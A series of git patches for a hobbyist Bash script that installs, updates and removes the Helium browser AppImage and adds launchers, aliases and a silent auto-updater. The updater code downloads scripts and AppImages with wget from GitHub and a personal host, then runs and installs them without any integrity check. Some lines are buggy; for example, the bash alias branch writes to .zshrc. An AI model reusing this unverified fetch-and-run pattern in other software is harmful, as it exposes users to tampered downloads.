APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" -SCRIPT_VERSION="0.5.2" -DATE=$(date) +SCRIPT_VERSION="0.5.3" +ALIAS="update-helium" ## LOCATIONS TMP=/tmp/$APP_NAME @@ -158,6 +158,18 @@ add_launcher() { fi } +### ALIAS +add_alias() { + if [ -f "$HOME/.zshrc" ] ; then + echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >>$HOME/.zshrc + echo -e "\n ${GRN}$ALIAS added to${CRS} $HOME/.zshrc" + + else + echo -e "\n ${RED}No .bashrc like file found!${CRS}" + + fi +} + ### UPDATE update_helium() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') @@ -245,26 +257,26 @@ remove_helium() { if [ -d "$INSTALL_PATH" ] ; then while true ; do - read -p " Remove $APP_NAME_LONG incl. backups and launcher? (Y/n) : " CONFIRM_REMOVE + read -p " Remove $APP_NAME_LONG incl. backups and launcher? (Y/n) : " CONFIRM_REMOVE - if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then - rm -rf $INSTALL_PATH - if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then - rm $LAUNCHER_PATH/$APP_NAME.desktop + if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then + rm -rf $INSTALL_PATH + if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then + rm $LAUNCHER_PATH/$APP_NAME.desktop + fi + echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}" + exit + + elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then + echo -e " ${RED}Cancelled!${CRS}" + exit + + else + echo -e " ${YEL}Invalid response!${CRS}\n" + fi - echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}" - exit - elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}" - exit - - else - echo -e " ${YEL}Invalid response!${CRS}\n" - - fi - - done + done else echo -e "\n ${RED}Can't remove $APP_NAME_LONG! ${YEL}$INSTALL_PATH ${RED}directory not found...${CRS}" @@ -292,8 +304,31 @@ update_script() { ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then - echo -e "\n ${RED}$SCRIPT_FILE_NAME not found! Can't update script...${CRS}" - exit + echo -e "\n ${YEL}$SCRIPT_FILE_NAME not found...${CRS}" + + while true ; do + echo + read -p " Copy script to $SCRIPT_PATH? (Y/n) : " CONFIRM_SCRIPT_INSTALL + + if [[ "$CONFIRM_SCRIPT_INSTALL" == "" || "$CONFIRM_SCRIPT_INSTALL" == "y" || "$CONFIRM_SCRIPT_INSTALL" == "Y" ]] ; then + if ! [ -d "$SCRIPT_PATH" ] ; then + mkdir -p $SCRIPT_PATH + fi + + mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" + exit_clean + + elif [[ "$CONFIRM_SCRIPT_INSTALL" == "n" || "$CONFIRM_SCRIPT_INSTALL" == "N" ]] ; then + echo -e " ${RED}Cancelled!${CRS}" + exit + + else + echo -e " ${YEL}Invalid response!${CRS}\n" + + fi + + done fi @@ -398,11 +433,11 @@ compare_version() { help() { echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" echo -e "$APP_NAME_LONG installer & updater script\n" - echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -u | -r | -c | -s | -h ]\n" # | -U | -S | -a | + echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -a | -u | -r | -c | -s | -S | -h ]\n" # | -U | echo -e "Options:\n" echo -e "\t-i\tDownload & install $APP_NAME_LONG from $SOURCE" echo -e "\t-l\tCreate desktop launcher" - echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${RED}--> Not yet working${CRS}" + echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh${CRS}" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" @@ -432,39 +467,44 @@ exit_clean() { while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do case $OPTION in i) - echo -e "\n ${YEL}Installing $APP_NAME_LONG...${CRS}" + echo -e "\n ${CYN}Installing $APP_NAME_LONG...${CRS}" dependency_check install_helium exit_clean ;; l) - echo -e "\n ${YEL}Adding $APP_NAME_LONG launcher...${CRS}" + echo -e "\n ${CYN}Adding $APP_NAME_LONG launcher...${CRS}" dependency_check local_check add_launcher exit_clean ;; + a) + echo -e "\n ${CYN}Adding alias...${CRS}" + add_alias + exit ;; + u) - echo -e "\n ${YEL}Updating $APP_NAME_LONG...${CRS}" + echo -e "\n ${CYN}Updating $APP_NAME_LONG...${CRS}" dependency_check local_check update_helium exit_clean ;; U) - echo -e "\n ${YEL}Enabling automatic updates...${CRS}" + echo -e "\n ${CYN}Enabling automatic updates...${CRS}" dependency_check local_check auto_update exit_clean ;; r) - echo -e "\n ${YEL}Removing $APP_NAME_LONG...${CRS}" + echo -e "\n ${CYN}Removing $APP_NAME_LONG...${CRS}" remove_helium exit ;; c) - echo -e "\n ${YEL}Comparing remote to local version...${CRS}" + echo -e "\n ${CYN}Comparing remote to local version...${CRS}" dependency_check local_check compare_version @@ -475,7 +515,7 @@ while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do exit ;; S) - echo -e "\n ${YEL}Updating script...${CRS}" + echo -e "\n ${CYN}Updating script...${CRS}" dependency_check update_script exit_clean ;; From 4b041ff1d60952a48d2801916e3d3485bcae30ea Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 00:34:47 +0100 Subject: [PATCH 011/106] Structure change --- helium_auto_update.sh | 293 +++++++++++++++++++++++++++++++----------- 1 file changed, 217 insertions(+), 76 deletions(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 6b82096..9f4405f 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -2,93 +2,234 @@ # HELIUM BOWSER AUTO UPDATE SCRIPT WITH LOGGING -## VARIABLES & TMP FOLDER -mkdir -p /tmp/Helium -TMP=/tmp/Helium -INSTALL_PATH=$HOME/.apps/Helium -LOG=$INSTALL_PATH/updateLog -DEPENDENCIES=("curl" "wget") -MISSING=$(cat $TMP/missingDeps 2>/dev/null) -GIT_VERSION=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "tag_name" | tr -d \", | awk '{print $2}') -LOCAL_VERSION=$($INSTALL_PATH/helium-browser.AppImage --version | awk '{print $2}') +########## PREREQUISITES ########### +set -e + +## GLOBAL VARIABLES +APP_NAME="Helium" +APP_NAME_LONG="Helium Web Browser" +SOURCE="GitHub" +SCRIPT_NAME="$APP_NAME silent updater" +SCRIPT_FILE_NAME="helium_auto_update.sh" +SCRIPT_VERSION="0.5.3" +ALIAS="auto-update-helium" + +## LOCATIONS +TMP=/tmp/$APP_NAME +INSTALL_PATH=$HOME/.apps/$APP_NAME +CONFIG_PATH=$INSTALL_PATH/assets +BACKUP_PATH=$INSTALL_PATH/assets/backup +LOG_PATH=$INSTALL_PATH/assets/logs +LOG=$LOG_PATH/log +LAUNCHER_PATH=$HOME/.local/share/applications +SCRIPT_PATH=$HOME/.local/bin DATE=$(date) -## CHECKS -if ! [ -d "$INSTALL_PATH" ] ; then - mkdir -p $INSTALL_PATH - echo "${DATE} | Failed to update - Helium installation path not present - But created for logging" >> $LOG - exit 1 - -elif ! [ -f "$INSTALL_PATH/helium-browser.AppImage" ] ; then - echo "${DATE} | Failed to update - Local Helium AppImage not found" >> $LOG - exit 1 - -else - : +########## FUNCTIONS ########### -fi - -### SCRIPT DEPENDENCIES -dependency_check() { +### DEPENDENCIES +cmd_query() { local PACKAGE="$1" - if command -v "$PACKAGE" >/dev/null 2>&1 ; then - : - - else - echo "$PACKAGE" >>$TMP/missingDeps + if ! command -v "$PACKAGE" >/dev/null 2>&1 ; then + echo " - $PACKAGE" >> $TMP/missingDeps fi } -for PACKAGE in "${DEPENDENCIES[@]}" ; do - dependency_check "$PACKAGE" +dependency_check () { + DEPENDENCIES=("curl" "wget") + mkdir -p $TMP + + for PACKAGE in "${DEPENDENCIES[@]}" ; do + cmd_query "$PACKAGE" + + done + + if ! [ -d "$LOG_PATH" ] ; then + mkdir -p $LOG_PATH + echo "${DATE} | Log created" >> $LOG + + fi + + if [ -f "$TMP/missingDeps" ] ; then + MISSING=$(cat $TMP/missingDeps) + echo "${DATE} | Failed to update - missing dependencies : $MISSING" >> $LOG + exit_clean + + fi + + if ! [ -d "$INSTALL_PATH" ] ; then + mkdir -p $INSTALL_PATH + echo "${DATE} | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG + exit + + elif ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then + echo "${DATE} | Failed to update - Local $APP_NAME AppImage not found" >> $LOG + exit + + fi + +} + +### UPDATE SCRIPT +remote_script_check() { + REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME + mkdir -p $TMP + wget -P $TMP $REMOTE_SCRIPT_URL -q + chmod +x $TMP/$SCRIPT_FILE_NAME +} + +update_script() { + remote_script_check + + ### CHECK FOR LOCAL SCRIPT + if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then + echo "${DATE} | Failed to update script - local file not found" >> $LOG + + fi + + REMOTE_SCRIPT_VERSION=$($TMP/$SCRIPT_FILE_NAME -s | awk '{print $8}' | tr -d '\n' ) + + ### CHECK FOR EMPTY VERSION TAGS + if [ -z "$SCRIPT_VERSION" ] ; then + echo "${DATE} | Failed to update script - Empty version tag --> local" >> $LOG + + elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then + echo "${DATE} | Failed to update script - Empty version tag --> $SOURCE" >> $LOG + + fi + + ### COMPARE LOCAL & REMOTE VERSION + SCRIPT_VERSION_NUM=$(echo $SCRIPT_VERSION | tr -d .) + REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) + + if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then + : + + elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then + mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old + mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + echo "${DATE} | Script updated" >> $LOG + + else + echo "${DATE} | Failed to update - Malformed version tags" >> $LOG + + fi +} + +### UPDATE +update_helium() { + #update_script ### NEEDS REVIEW + + LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') + GIT_VERSION=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "tag_name" | tr -d \", | awk '{print $2}') + + ### CHECK FOR EMPTY VERSION TAGS + if [[ -z "$GIT_VERSION" ]] ; then + echo "${DATE} | Failed to update - Empty version tag --> $SOURCE" >> $LOG + exit + + elif [[ -z "$LOCAL_VERSION" ]] ; then + echo "${DATE} | Failed to update - Empty version tag --> LOCAL" >> $LOG + exit + + fi + + ### COMPARE LOCAL & REMOTE VERSION + LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) + GIT_VERSION_NUM=$(echo $GIT_VERSION | tr -d .) + + if [ "$GIT_VERSION" == "$LOCAL_VERSION" ] ; then + : + + elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then + GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') + GIT_FILENAME=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + mkdir -p $TMP $BACKUP_PATH + wget -P $TMP $GIT_URL -q --show-progress + chmod +x $TMP/$GIT_FILENAME + if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then + rm $BACKUP_PATH/$APP_NAME.old + fi + mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old + mv $TMP/$GIT_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old + sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop + echo "${DATE} | $APP_NAME updated to ${GIT_VERSION}" >> $LOG + + else + echo "${DATE} | Failed to update - Version tags malformed" >> $LOG + exit + + fi + +} + +### SCRIPT VERSION +script_version() { + echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version :${CRS} $SCRIPT_VERSION\n" + exit + +} + +### HELP +help() { + echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" + echo -e "$APP_NAME_LONG automatic updater script\n" + echo -e "Syntax: $SCRIPT_FILE_NAME [ -a | -s | -h ]\n" + echo -e "Options:\n" + echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh${CRS}" + echo -e "\t-s\tShow script version" + echo -e "\t-h\tPrint this help page.\n" + echo -e "Configured locations:\n" + echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" + echo -e "\t${CYN}${LAUNCHER_PATH}${CRS}\tLauncher location" + echo -e "\t${CYN}${SCRIPT_PATH}${CRS}\t\t\tScript location\n" +} + +### EXIT CLEAN +exit_clean() { + if [ -d "$TMP" ] ; then + rm -rf $TMP + + fi + + exit +} + +########## MAIN ########## + +## GET OPTIONS +while getopts ":a,:s,:h" OPTION ; do + case $OPTION in + + a) + add_alias + exit ;; + + s) + script_version + exit ;; + + h) + help + exit ;; + + *) + echo -e "\n${YEL}Option ${RED}$1${YEL} not recognized... Refer to help below!${CRS}" + help + exit ;; + + esac done -if ! [ "$MISSING" ] ; then - : +## DEPENDENCY CHECK +dependency_check -else - echo "${DATE} | Failed to update - missing dependencies : $MISSING" >> $LOG - exit 1 +## UPDATE +update_helium -fi - -## COMPARE VERSIONS -update_helium() { - GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - GIT_FILENAME=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') - wget -P $TMP $GIT_URL -q - chmod +x $TMP/$GIT_FILENAME - rm $INSTALL_PATH/helium-browser.OldAppImage >/dev/null 2>&1 - mv $INSTALL_PATH/helium-browser.AppImage $INSTALL_PATH/helium-browser.OldAppImage >/dev/null 2>&1 - mv $TMP/$GIT_FILENAME $INSTALL_PATH/helium-browser.AppImage - echo "${DATE} | Helium updated to ${GIT_VERSION}" >> $LOG -} - -### CHECK FOR EMPTY VERSION TAGS -if [[ -z "$GIT_VERSION" ]] ; then - echo "${DATE} | Failed to update - Emty version tag --> GIT" >> $LOG - exit 1 - -elif [[ -z "$LOCAL_VERSION" ]] ; then - echo "${DATE} | Failed to update - Emty version tag --> LOCAL" >> $LOG - exit 1 - -else - : - -fi - -if [[ "$GIT_VERSION" == "$LOCAL_VERSION" ]] ; then - : - -else - update_helium - -fi - -rm -rf $TMP - -exit 0 +## CLEAN +exit_clean \ No newline at end of file From 1e88190670f878b42480ca7047755f65f80f65c7 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 00:35:49 +0100 Subject: [PATCH 012/106] Minor changes --- helium_helper.sh | 10 ++++++---- test.sh | 1 - 2 files changed, 6 insertions(+), 5 deletions(-) delete mode 100644 test.sh diff --git a/helium_helper.sh b/helium_helper.sh index 606790a..e1bccfe 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -129,6 +129,7 @@ add_launcher() { ICON_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/icon/helium.png LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') wget -P $TMP $LAUNCHER_URL -q --show-progress + wget -P $TMP $ICON_URL -q --show-progress sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.AppImage|" $TMP/helium.desktop.template sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template @@ -159,10 +160,10 @@ add_launcher() { } ### ALIAS -add_alias() { +add_alias() { ### WORKS BUT NEEDS WORK if [ -f "$HOME/.zshrc" ] ; then - echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >>$HOME/.zshrc - echo -e "\n ${GRN}$ALIAS added to${CRS} $HOME/.zshrc" + echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" else echo -e "\n ${RED}No .bashrc like file found!${CRS}" @@ -294,11 +295,12 @@ script_version() { ### UPDATE SCRIPT remote_script_check() { - REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/helium_helper.sh + REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME mkdir -p $TMP wget -P $TMP $REMOTE_SCRIPT_URL -q chmod +x $TMP/$SCRIPT_FILE_NAME } + update_script() { remote_script_check diff --git a/test.sh b/test.sh deleted file mode 100644 index a9bf588..0000000 --- a/test.sh +++ /dev/null @@ -1 +0,0 @@ -#!/bin/bash From 3cbcd74f069a97947b5cb51f02e8167c1b57d049 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 10:48:01 +0100 Subject: [PATCH 013/106] Launcher option added --- helium_helper.sh | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index e1bccfe..d2b71b3 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -19,6 +19,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" +AUTO_SCRIPT_FILE_NAME="helium_auto_update.sh" SCRIPT_VERSION="0.5.3" ALIAS="update-helium" @@ -127,13 +128,18 @@ add_launcher() { if [[ "$CONFIRM_LAUNCHER" == "" || "$CONFIRM_LAUNCHER" == "y" || "$CONFIRM_LAUNCHER" == "Y" ]] ; then LAUNCHER_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/launcher/helium.desktop.template ICON_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/icon/helium.png + AUTO_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$AUTO_SCRIPT_FILE_NAME LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') + if ! [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then + wget -P $TMP $AUTO_SCRIPT_URL -q --show-progress + chmod +x $TMP/$AUTO_SCRIPT_FILE_NAME + fi wget -P $TMP $LAUNCHER_URL -q --show-progress - wget -P $TMP $ICON_URL -q --show-progress sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.AppImage|" $TMP/helium.desktop.template sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template + sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template mkdir -p $LAUNCHER_PATH $BACKUP_PATH $CONFIG_PATH/icon mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon From b4f3ea4e97c62219651e09be8a675977cca0ef7f Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 10:54:06 +0100 Subject: [PATCH 014/106] to do updated --- todo.md | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/todo.md b/todo.md index fd434c3..a594d9e 100644 --- a/todo.md +++ b/todo.md @@ -2,7 +2,7 @@ ## Last Jobs - Readme updated -- Desktop Entry updater +- Desktop Entry updater --> Complete - Launcher has an update option now - Launcher installer refined - Clean Up @@ -10,12 +10,12 @@ ## Add - Internet connectivity check in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) -- Desktop entry updater [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) - Auto update setup - shell recognition - Architecture detection -- Set alias +- Set alias --> Partially - Roll back from backup +- Config check ## Repo - Merge workflow @@ -24,7 +24,6 @@ - Remove comment from script ## Fix -- sed commad at launcher backup ## Notes @@ -61,8 +60,3 @@ while true ; do done ``` - -- Script update -```sh -$SCRIPT_PATH/$SCRIPT_FILE_NAME -s | awk {'print $8'} -``` \ No newline at end of file From 08ce780cee243b0cabe78167b70049bf6499527b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 10:57:28 +0100 Subject: [PATCH 015/106] Minor changes --- helium_auto_update.sh | 2 +- helium_helper.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 9f4405f..a8cb79c 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -11,7 +11,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME silent updater" SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.3" +SCRIPT_VERSION="0.5.4" ALIAS="auto-update-helium" ## LOCATIONS diff --git a/helium_helper.sh b/helium_helper.sh index d2b71b3..7b8ed93 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -20,7 +20,7 @@ SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.3" +SCRIPT_VERSION="0.5.4" ALIAS="update-helium" ## LOCATIONS From 7203078768b95449065692a5719cd9cca82664ed Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 11:11:25 +0100 Subject: [PATCH 016/106] Script updater extended --- helium_helper.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/helium_helper.sh b/helium_helper.sh index 7b8ed93..d133197 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -370,6 +370,9 @@ update_script() { echo if [[ "$CONFIRM_SCRIPT_UPDATE" == "" || "$CONFIRM_SCRIPT_UPDATE" == "y" || "$CONFIRM_SCRIPT_UPDATE" == "Y" ]] ; then + if ! [ -d "$BACKUP_PATH" ] ; then + mkdir -p $BACKUP_PATH + fi mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH echo -e " ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" From 14b7be590a2a0076784d5867b90994601953882d Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 11:19:53 +0100 Subject: [PATCH 017/106] Minor changes --- helium_helper.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/helium_helper.sh b/helium_helper.sh index d133197..1962d1a 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -141,6 +141,7 @@ add_launcher() { sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template mkdir -p $LAUNCHER_PATH $BACKUP_PATH $CONFIG_PATH/icon + mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" From d65799e4a80e82eae6b8d934614bcdb4e4d50062 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 11:24:52 +0100 Subject: [PATCH 018/106] Alias for bashrc added --- helium_helper.sh | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 1962d1a..96cda3c 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -172,6 +172,10 @@ add_alias() { ### WORKS BUT NEEDS WORK echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" + elif [ -f "$HOME/.bashrc" ] ; then + echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc" + else echo -e "\n ${RED}No .bashrc like file found!${CRS}" @@ -449,7 +453,7 @@ help() { echo -e "Options:\n" echo -e "\t-i\tDownload & install $APP_NAME_LONG from $SOURCE" echo -e "\t-l\tCreate desktop launcher" - echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh${CRS}" + echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Partially working with zsh & bash${CRS}" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" From 0cf476a6863cc326d726364268b2ba830ad6f030 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 13:03:16 +0100 Subject: [PATCH 019/106] Readme & To Do updated --- README.md | 4 ++-- todo.md | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d0a2786..14d237a 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,9 @@ ## Overview ### Helium_Helper.sh - Interactive installer and updater script -- Installs to `/home//.apps/Helium` | changeable in line 27 `INSTALL_PATH` +- Installs to `/home//.apps/Helium` | changeable in line 28 `INSTALL_PATH` - Assumes: - - Presence of `/home//.apps/Helium` when updating | changeable in line 27 `INSTALL_PATH` + - Presence of `/home//.apps/Helium` when updating | changeable in line 28 `INSTALL_PATH` - Executable named `Helium.AppImage` | for convenience so launchers don't have to be edited at each update - Keeps prior AppImage as `Helium.old` which will be replaced at every update - Adds desktop launcher to `/home//.local/share/applications` diff --git a/todo.md b/todo.md index a594d9e..56f38bb 100644 --- a/todo.md +++ b/todo.md @@ -16,6 +16,7 @@ - Set alias --> Partially - Roll back from backup - Config check +- Desktop notifications in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) ## Repo - Merge workflow From aa1e3831db07b440bdf1e0332c90a8c987f4c4ef Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 13:05:33 +0100 Subject: [PATCH 020/106] To Do updated --- todo.md | 1 + 1 file changed, 1 insertion(+) diff --git a/todo.md b/todo.md index 56f38bb..5793dba 100644 --- a/todo.md +++ b/todo.md @@ -17,6 +17,7 @@ - Roll back from backup - Config check - Desktop notifications in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) +- Log viewer & config editor ## Repo - Merge workflow From d435cdb276a7a636561a9912f9708b29ba5a8894 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 13:53:16 +0100 Subject: [PATCH 021/106] Minor changes --- helium_helper.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 96cda3c..083f0b7 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -133,14 +133,16 @@ add_launcher() { if ! [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then wget -P $TMP $AUTO_SCRIPT_URL -q --show-progress chmod +x $TMP/$AUTO_SCRIPT_FILE_NAME + fi + wget -P $TMP $LAUNCHER_URL -q --show-progress wget -P $TMP $ICON_URL -q --show-progress sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.AppImage|" $TMP/helium.desktop.template sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" 